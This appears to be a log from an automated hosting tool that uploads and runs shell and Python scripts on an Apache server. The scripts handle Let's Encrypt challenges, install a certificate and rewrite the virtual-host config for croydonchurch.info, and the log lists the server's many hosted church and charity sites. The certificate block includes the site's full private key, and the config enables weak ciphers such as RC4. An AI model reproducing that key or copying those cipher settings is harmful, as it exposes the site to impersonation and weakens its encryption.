PUT: /tmp/pkp941429
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-11 06:00:05:
chmod 755 /tmp/pkp941429; /tmp/pkp941429; rm /tmp/pkp941429
2025-11-11 06:00:05:
0
2025-11-11 06:00:06: Establishing a remote connection
2025-11-12 06:00:01: Establishing a connection
2025-11-12 06:00:02: Establishing a connection
2025-11-12 06:00:02:
PUT: /tmp/pkp688757
#!/bin/bash
if [ -d "/var/www/hostz_venus/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-12 06:00:03:
chmod 755 /tmp/pkp688757; /tmp/pkp688757; rm /tmp/pkp688757
2025-11-12 06:00:03:
1
2025-11-12 06:00:05: Establishing a connection
2025-11-12 06:00:05:
PUT: /tmp/pkp102819
#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
cat > pd_8qxTM6L2Z18Q32aimG-5WA6LIAWWPJeqy-Ny1xo4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
pd_8qxTM6L2Z18Q32aimG-5WA6LIAWWPJeqy-Ny1xo4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 pd_8qxTM6L2Z18Q32aimG-5WA6LIAWWPJeqy-Ny1xo4
cat > L2jkhQSq8TXlA9hxqlU8YCLNpnSY2i5546kGkZ88MCg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
L2jkhQSq8TXlA9hxqlU8YCLNpnSY2i5546kGkZ88MCg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 L2jkhQSq8TXlA9hxqlU8YCLNpnSY2i5546kGkZ88MCg
cat > B3w26SI9sk8YCs4S1ZULLAC1uhlhdVK9cZ5XnjOdyzc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
B3w26SI9sk8YCs4S1ZULLAC1uhlhdVK9cZ5XnjOdyzc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 B3w26SI9sk8YCs4S1ZULLAC1uhlhdVK9cZ5XnjOdyzc
2025-11-12 06:00:05:
chmod 755 /tmp/pkp102819; /tmp/pkp102819; rm /tmp/pkp102819
2025-11-12 06:00:05:
2025-11-12 06:00:15: Establishing a connection
2025-11-12 06:00:15: Establishing a connection
2025-11-12 06:00:15:
PUT: /tmp/pkp880258
#!/bin/bash
if [ -d "/var/www/croydonchurch_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-12 06:00:15:
chmod 755 /tmp/pkp880258; /tmp/pkp880258; rm /tmp/pkp880258
2025-11-12 06:00:15:
1
2025-11-12 06:00:16: Establishing a connection
2025-11-12 06:00:16:
PUT: /tmp/pkp289022
#!/bin/bash
mkdir -p "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cd "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cat > aUcYX5-KNmE52kEGPK-8PLPFk2smmtzni_N9OYNxaKQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
aUcYX5-KNmE52kEGPK-8PLPFk2smmtzni_N9OYNxaKQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 aUcYX5-KNmE52kEGPK-8PLPFk2smmtzni_N9OYNxaKQ
cat > k-FrR-2sev7U91jwcAw4QRANzRvmIrmu_IxJCq9IQGM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
k-FrR-2sev7U91jwcAw4QRANzRvmIrmu_IxJCq9IQGM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 k-FrR-2sev7U91jwcAw4QRANzRvmIrmu_IxJCq9IQGM
2025-11-12 06:00:16:
chmod 755 /tmp/pkp289022; /tmp/pkp289022; rm /tmp/pkp289022
2025-11-12 06:00:16:
2025-11-12 06:00:27: Establishing a connection
2025-11-12 06:00:27:
PUT: /tmp/pkp673824
#!/bin/bash
mkdir -p "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cd "/var/www/croydonchurch_www/.well-known/acme-challenge/"
rm aUcYX5-KNmE52kEGPK-8PLPFk2smmtzni_N9OYNxaKQ
rm k-FrR-2sev7U91jwcAw4QRANzRvmIrmu_IxJCq9IQGM
2025-11-12 06:00:27:
chmod 755 /tmp/pkp673824; /tmp/pkp673824; rm /tmp/pkp673824
2025-11-12 06:00:27:
2025-11-12 06:00:27: Establishing a connection
2025-11-12 06:00:28:
PUT: /tmp/pkp644254
#!/bin/bash
temp_file=$(mktemp)
TARGET=0bcccb20615b0c7868de66072345a8b6.crt
cat > $temp_file <<'endmsg'
cb:90:b6:63:ea:bc:68:90:71:ce:3c:5e:e4:61:67:2d
-----BEGIN CERTIFICATE-----
MIIFGDCCBACgAwIBAgISBrDWBaY8rfRnJW52G1x9jkwMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEyMDUwMTU2WhcNMjYwMjEwMDUwMTU1WjAdMRswGQYDVQQD
ExJjcm95ZG9uY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDQp4wamMXqetIK6dfgqNBVAMLnAtdlmU3YMotshlIKngyv6xNtjnzkVFnb
z6GFMBOz2OQcqDPidsJA6NdfLVC2mWL7xVlMXve4RCwiWFbO8I7YHT8Xs4XchUAa
iarO5Cu7FNYfFlQRjDwfTLVtxOgeLnJmwbi0bURbPbPwNBrhklmpzQNGklp5vXer
7m/2eE5xkrj2hNUC4PZafhmN3+LF7SGHfeKNNoAxWi+ZlfbqqQg4fOq/6kpo45zP
SkVkV+rbsdg+P0aQUbmtozBMzBVHsyd9NaOz0LPi22Txr1+mnrqNbpNQ3ebYpAxi
EeyxBKR+//pMdPjjj3B1RjeKSJMZAgMBAAGjggI6MIICNjAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFEaiEYCOmAtn4rc1dUfqyjRLuDuKMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY3JveWRvbmNodXJjaC5p
bmZvghZ3d3cuY3JveWRvbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTMuY3Js
MIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAGYbUxyiqb/66A294Kk0BkarOLXIx
D67OXXBBLSVMx9QAAAGadqawhwAABAMARzBFAiAWt/pddzfLauax/cgnxTP5RF7L
xCUIj7WiCJ6yZBrPyQIhAOLAYGKfUB6VsdqjoZaCzhmqCau0UMN+ERAkfeYZkKU5
AHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGadqaw0QAABAMA
RzBFAiEAn8oaj1aN7WLYuLqKBidUlhPlx9PW4Xub8pnjksOS2wwCIBQtUTwjL5lC
HxVpNCT/5/RropxlafXPH0yUzOPXiNTVMA0GCSqGSIb3DQEBCwUAA4IBAQBgtN2j
B7bMRQdp6ve4wGa6uXeTrbwWUaU7ZmzdA/V2zp3LYNiB5kbTNhsLlVrsxh9dGNKM
1y4hUjjcdMApeCmqyftmlfy/6vV+dVw71fgVvKjdonsu0ObJCi9cmNA7yWOgzWLP
tc4oVOYm8GgghuzHVoG6VJU9/RMMfFfQmORVvRfzCz+0t4aNAJFyUKWDgZ6JNja+
Q+3HdVso+jYMC45TfRs85PsKybsHdTSQrmDOFFKhAKK5GtrGn06/X8ipiLy5c+Og
evy4B7SbUeUexxXgrdT2VeEB/j82AFGsjHIdOGj3DH8BSrpD5JWNXyckqgC8DODZ
l498L3W+oNUy0o93
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDQp4wamMXqetIK
6dfgqNBVAMLnAtdlmU3YMotshlIKngyv6xNtjnzkVFnbz6GFMBOz2OQcqDPidsJA
6NdfLVC2mWL7xVlMXve4RCwiWFbO8I7YHT8Xs4XchUAaiarO5Cu7FNYfFlQRjDwf
TLVtxOgeLnJmwbi0bURbPbPwNBrhklmpzQNGklp5vXer7m/2eE5xkrj2hNUC4PZa
fhmN3+LF7SGHfeKNNoAxWi+ZlfbqqQg4fOq/6kpo45zPSkVkV+rbsdg+P0aQUbmt
ozBMzBVHsyd9NaOz0LPi22Txr1+mnrqNbpNQ3ebYpAxiEeyxBKR+//pMdPjjj3B1
RjeKSJMZAgMBAAECggEBAJD97MDKqrV+9Zh52PaXuHVpGwb2lYFXX529ud8HE9mm
7IAOZai63BS6fNrfVIk92GMgc5tqUuuqxN/gLVFJJw5MVllIUP5d+9wDG3weUOxq
g4iwAhjROlL8EYifY59zNORC3Wwq0u6CuYCyiFyn+PiIJB09vsE6MMcKgJCJVKis
DK1TaGdqzumzkkqSOsRwp4988Uz/EqUXGKc4KBurIb4JRSAxHl89urC2RHL6k0E1
RlUwDnVy7Bqbagt3zW0ahwmvIUGLcKIekpBlifp6yxcR89Z2Cp1elgm6SOL9QdhK
Oi7HvR+DtZuDsXc3lgljvTeIY3EA+xDydB3BeGVw3AUCgYEA/VA7rTdQTnJAe8Ul
qtXc3kTZ5/kSmzZ2VQnJ+MGrvI1MZVcLi47O/7MHjOMNkRtMiPD7odaYiZkddxpB
YseLnlX4++jEMv09WTz47ENlr38YyCfKWw6pGCFTJgp34l9NlAc7bcUbhuhBnquz
IbHytjmmzxmXMq67d+KKnf6GMi8CgYEA0t4PvQmOijao1fq26MNAcjEjMIe2HzhU
ijLbBSW+gocbXPBveEOnEt09I4kABJAF50yM/viz5eo2t0hozsxDvsv3DK9CqPaZ
G9w9T7wL5C3zCD2LypcyJWXHhuY84wKLphapiC590Qy5tfJa35wekdUjUodeerT8
PG6z2k89JTcCgYAp1UE1tufNPLMHfaRd1Rm3nzk5RPncph7eplIzgZBiABe4uKpQ
btIiiidaDfkkmJSIHPwBWxYvyxiBndVkgb299Ua8G1GjdgzWmuok4nB9jgjCrUeO
yBoGwSIhKyNnQAPoyVT4KNAF9H85u/NGQkPp8hVpKDm/BfoxrzjjJLB2wwKBgHJ4
XADaBEghngvzO4ImJIEZDapVsddG5BXVv7IOqFoBcChG2axmxXbnJT56K8lOSfYj
R1NOvZItUCC1LTg+CPS1ktqO9df1bm6CY8I6KhZnn0w05QNIis9kbilcKWduxVKX
cNbdri1jBBmyhARpouq10qQFmpNwVpGT4wy7AU2HAoGAW18KwrNaHstvcI1ZZ2H9
RGRBpRVkC06XSjo7mmoIew4dlTb1tyTfScnVEGxC6ermty56lCn5xw2IUnXC4EU/
RYONnLFlGsWuFVj3OqaYgZB2gqK1K6dnozbHAT4gzvL1QNdd6ZnIvKtDpavcPZvM
VSv+qrAz5teClBiyp8ggQ/g=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-12 06:00:28:
chmod 755 /tmp/pkp644254; /tmp/pkp644254; rm /tmp/pkp644254
2025-11-12 06:00:28:
dir=/etc/ssl/certs
2025-11-12 06:00:28:
PUT: /tmp/pkp158424
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/croydonchurch_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-12 06:00:28:
chmod 755 /tmp/pkp158424; /tmp/pkp158424; rm /tmp/pkp158424
2025-11-12 06:00:28:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/croydonchurch_www_info.conf 46
<VirtualHost *:80>
ServerName croydonchurch.info
ServerAlias www.croydonchurch.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/croydonchurch_www
<Directory /var/www/croydonchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/croydonchurch/www_access.log combined
ErrorLog /var/log/apache2/croydonchurch/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName croydonchurch.info
ServerAlias www.croydonchurch.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
DocumentRoot /var/www/croydonchurch_www
<Directory /var/www/croydonchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/croydonchurch/www_secure_access.log combined
ErrorLog /var/log/apache2/croydonchurch/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-12 06:00:28:
PUT: /tmp/pkp280355
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=croydonchurch_www_info.conf
TARGET=/etc/apache2/sites-enabled/croydonchurch_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName croydonchurch.info
ServerAlias www.croydonchurch.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/croydonchurch_www
<Directory /var/www/croydonchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/croydonchurch/www_access.log combined
ErrorLog /var/log/apache2/croydonchurch/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName croydonchurch.info
ServerAlias www.croydonchurch.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
DocumentRoot /var/www/croydonchurch_www
<Directory /var/www/croydonchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/croydonchurch/www_secure_access.log combined
ErrorLog /var/log/apache2/croydonchurch/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/croydonchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/croydonchurch_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/croydonchurch_www_info.conf= 1'
fi
2025-11-12 06:00:28:
chmod 755 /tmp/pkp280355; /tmp/pkp280355; rm /tmp/pkp280355
2025-11-12 06:00:28:
2025-11-12 06:00:28:
PUT: /tmp/pkp131769
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-12 06:00:28:
chmod 755 /tmp/pkp131769; /tmp/pkp131769; rm /tmp/pkp131769
2025-11-12 06:00:28:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-12 06:00:28: Establishing a connection
2025-11-12 06:00:28:
PUT: /tmp/pkp232705
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-12 06:00:28:
chmod 755 /tmp/pkp232705; /tmp/pkp232705; rm /tmp/pkp232705
2025-11-12 06:00:28:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-12 06:00:28:
PUT: /tmp/pkp496604
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/croydonchurch_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-12 06:00:28:
chmod 755 /tmp/pkp496604; /tmp/pkp496604; rm /tmp/pkp496604
2025-11-12 06:00:28:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/croydonchurch_www_info.conf 1429
<VirtualHost *:80>
ServerName croydonchurch.info
ServerAlias www.croydonchurch.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/croydonchurch_www
<Directory /var/www/croydonchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/croydonchurch/www_access.log combined
ErrorLog /var/log/apache2/croydonchurch/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
